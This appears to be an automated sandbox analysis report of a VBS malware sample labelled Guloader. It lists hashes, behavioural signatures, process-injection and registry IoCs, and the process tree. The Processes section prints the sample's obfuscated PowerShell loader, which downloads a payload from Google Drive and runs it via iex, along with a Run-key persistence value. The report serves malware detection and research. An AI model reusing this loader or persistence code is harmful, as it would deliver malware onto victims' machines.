Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
13/09/2024, 10:30
Static task
static1
Behavioral task
behavioral1
Sample
7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs
Resource
win10v2004-20240802-en
General
-
Target
7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs
-
Size
7KB
-
MD5
cc6e41e0786764096a50057a3743e7c6
-
SHA1
2493a1410d91a8084249ef9f0b3e7aa885ddef5d
-
SHA256
7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d
-
SHA512
5bfe75eb2661459a1073348cfadb64ced142baae9ff54fcd7a8733ae7ffc750f9ab41f2e1415ed275c7ec9f33257a7201bf0e5881ff0d26c2eac644c04aee38c
-
SSDEEP
96:lmXU2FvaJR+t7tVQm+83tkD3J8j0dEvOItsLQWSK+PtevdOYPmCVUbtCpgjPVHQv:lmk2VaJeXj0exCnItmd/Pml9jPp4jQYB
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 13 244 powershell.exe 17 244 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\\Hyperaktuelles\\').Midwintry;%Heliometry% ($Rrligst138)" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 12 drive.google.com 13 drive.google.com 27 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 4272 wab.exe 4272 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4036 powershell.exe 4272 wab.exe -
Suspicious use of SetThreadContext 59 IoCs
description pid Process procid_target PID 4036 set thread context of 4272 4036 powershell.exe 100 PID 4272 set thread context of 3892 4272 wab.exe 106 PID 4272 set thread context of 3272 4272 wab.exe 108 PID 4272 set thread context of 2288 4272 wab.exe 109 PID 4272 set thread context of 4260 4272 wab.exe 110 PID 4272 set thread context of 1900 4272 wab.exe 111 PID 4272 set thread context of 1872 4272 wab.exe 112 PID 4272 set thread context of 1568 4272 wab.exe 113 PID 4272 set thread context of 4592 4272 wab.exe 114 PID 4272 set thread context of 2184 4272 wab.exe 115 PID 4272 set thread context of 4328 4272 wab.exe 116 PID 4272 set thread context of 1716 4272 wab.exe 117 PID 4272 set thread context of 4400 4272 wab.exe 118 PID 4272 set thread context of 2856 4272 wab.exe 119 PID 4272 set thread context of 264 4272 wab.exe 120 PID 4272 set thread context of 2932 4272 wab.exe 121 PID 4272 set thread context of 2000 4272 wab.exe 122 PID 4272 set thread context of 1040 4272 wab.exe 123 PID 4272 set thread context of 5060 4272 wab.exe 124 PID 4272 set thread context of 4664 4272 wab.exe 125 PID 4272 set thread context of 2044 4272 wab.exe 126 PID 4272 set thread context of 1036 4272 wab.exe 127 PID 4272 set thread context of 2020 4272 wab.exe 128 PID 4272 set thread context of 3236 4272 wab.exe 129 PID 4272 set thread context of 2424 4272 wab.exe 130 PID 4272 set thread context of 4440 4272 wab.exe 131 PID 4272 set thread context of 2488 4272 wab.exe 132 PID 4272 set thread context of 776 4272 wab.exe 133 PID 4272 set thread context of 2724 4272 wab.exe 134 PID 4272 set thread context of 4316 4272 wab.exe 135 PID 4272 set thread context of 4960 4272 wab.exe 136 PID 4272 set thread context of 2432 4272 wab.exe 137 PID 4272 set thread context of 492 4272 wab.exe 138 PID 4272 set thread context of 1708 4272 wab.exe 139 PID 4272 set thread context of 4880 4272 wab.exe 140 PID 4272 set thread context of 1836 4272 wab.exe 141 PID 4272 set thread context of 772 4272 wab.exe 142 PID 4272 set thread context of 1800 4272 wab.exe 143 PID 4272 set thread context of 2920 4272 wab.exe 144 PID 4272 set thread context of 3312 4272 wab.exe 145 PID 4272 set thread context of 1616 4272 wab.exe 146 PID 4272 set thread context of 1396 4272 wab.exe 147 PID 4272 set thread context of 3556 4272 wab.exe 148 PID 4272 set thread context of 5068 4272 wab.exe 149 PID 4272 set thread context of 3020 4272 wab.exe 150 PID 4272 set thread context of 3696 4272 wab.exe 151 PID 4272 set thread context of 5028 4272 wab.exe 152 PID 4272 set thread context of 2096 4272 wab.exe 153 PID 4272 set thread context of 3604 4272 wab.exe 154 PID 4272 set thread context of 1352 4272 wab.exe 155 PID 4272 set thread context of 1212 4272 wab.exe 156 PID 4272 set thread context of 4032 4272 wab.exe 157 PID 4272 set thread context of 1812 4272 wab.exe 158 PID 4272 set thread context of 3616 4272 wab.exe 159 PID 4272 set thread context of 4928 4272 wab.exe 160 PID 4272 set thread context of 5084 4272 wab.exe 161 PID 4272 set thread context of 4976 4272 wab.exe 162 PID 4272 set thread context of 2972 4272 wab.exe 163 PID 4272 set thread context of 316 4272 wab.exe 164 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 63 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe -
Modifies registry class 58 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings svchost.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1540 reg.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 244 powershell.exe 244 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe 4036 powershell.exe -
Suspicious behavior: MapViewOfSection 59 IoCs
pid Process 4036 powershell.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe 4272 wab.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 244 powershell.exe Token: SeDebugPrivilege 4036 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4272 wab.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1200 wrote to memory of 244 1200 WScript.exe 88 PID 1200 wrote to memory of 244 1200 WScript.exe 88 PID 244 wrote to memory of 2520 244 powershell.exe 91 PID 244 wrote to memory of 2520 244 powershell.exe 91 PID 244 wrote to memory of 4036 244 powershell.exe 96 PID 244 wrote to memory of 4036 244 powershell.exe 96 PID 244 wrote to memory of 4036 244 powershell.exe 96 PID 4036 wrote to memory of 4576 4036 powershell.exe 99 PID 4036 wrote to memory of 4576 4036 powershell.exe 99 PID 4036 wrote to memory of 4576 4036 powershell.exe 99 PID 4036 wrote to memory of 4272 4036 powershell.exe 100 PID 4036 wrote to memory of 4272 4036 powershell.exe 100 PID 4036 wrote to memory of 4272 4036 powershell.exe 100 PID 4036 wrote to memory of 4272 4036 powershell.exe 100 PID 4036 wrote to memory of 4272 4036 powershell.exe 100 PID 4272 wrote to memory of 4028 4272 wab.exe 101 PID 4272 wrote to memory of 4028 4272 wab.exe 101 PID 4272 wrote to memory of 4028 4272 wab.exe 101 PID 4028 wrote to memory of 1540 4028 cmd.exe 103 PID 4028 wrote to memory of 1540 4028 cmd.exe 103 PID 4028 wrote to memory of 1540 4028 cmd.exe 103 PID 4272 wrote to memory of 3892 4272 wab.exe 106 PID 4272 wrote to memory of 3892 4272 wab.exe 106 PID 4272 wrote to memory of 3892 4272 wab.exe 106 PID 4272 wrote to memory of 3892 4272 wab.exe 106 PID 4272 wrote to memory of 3272 4272 wab.exe 108 PID 4272 wrote to memory of 3272 4272 wab.exe 108 PID 4272 wrote to memory of 3272 4272 wab.exe 108 PID 4272 wrote to memory of 3272 4272 wab.exe 108 PID 4272 wrote to memory of 2288 4272 wab.exe 109 PID 4272 wrote to memory of 2288 4272 wab.exe 109 PID 4272 wrote to memory of 2288 4272 wab.exe 109 PID 4272 wrote to memory of 2288 4272 wab.exe 109 PID 4272 wrote to memory of 4260 4272 wab.exe 110 PID 4272 wrote to memory of 4260 4272 wab.exe 110 PID 4272 wrote to memory of 4260 4272 wab.exe 110 PID 4272 wrote to memory of 4260 4272 wab.exe 110 PID 4272 wrote to memory of 1900 4272 wab.exe 111 PID 4272 wrote to memory of 1900 4272 wab.exe 111 PID 4272 wrote to memory of 1900 4272 wab.exe 111 PID 4272 wrote to memory of 1900 4272 wab.exe 111 PID 4272 wrote to memory of 1872 4272 wab.exe 112 PID 4272 wrote to memory of 1872 4272 wab.exe 112 PID 4272 wrote to memory of 1872 4272 wab.exe 112 PID 4272 wrote to memory of 1872 4272 wab.exe 112 PID 4272 wrote to memory of 1568 4272 wab.exe 113 PID 4272 wrote to memory of 1568 4272 wab.exe 113 PID 4272 wrote to memory of 1568 4272 wab.exe 113 PID 4272 wrote to memory of 1568 4272 wab.exe 113 PID 4272 wrote to memory of 4592 4272 wab.exe 114 PID 4272 wrote to memory of 4592 4272 wab.exe 114 PID 4272 wrote to memory of 4592 4272 wab.exe 114 PID 4272 wrote to memory of 4592 4272 wab.exe 114 PID 4272 wrote to memory of 2184 4272 wab.exe 115 PID 4272 wrote to memory of 2184 4272 wab.exe 115 PID 4272 wrote to memory of 2184 4272 wab.exe 115 PID 4272 wrote to memory of 2184 4272 wab.exe 115 PID 4272 wrote to memory of 4328 4272 wab.exe 116 PID 4272 wrote to memory of 4328 4272 wab.exe 116 PID 4272 wrote to memory of 4328 4272 wab.exe 116 PID 4272 wrote to memory of 4328 4272 wab.exe 116 PID 4272 wrote to memory of 1716 4272 wab.exe 117 PID 4272 wrote to memory of 1716 4272 wab.exe 117 PID 4272 wrote to memory of 1716 4272 wab.exe 117
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:244 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"3⤵PID:2520
-
-
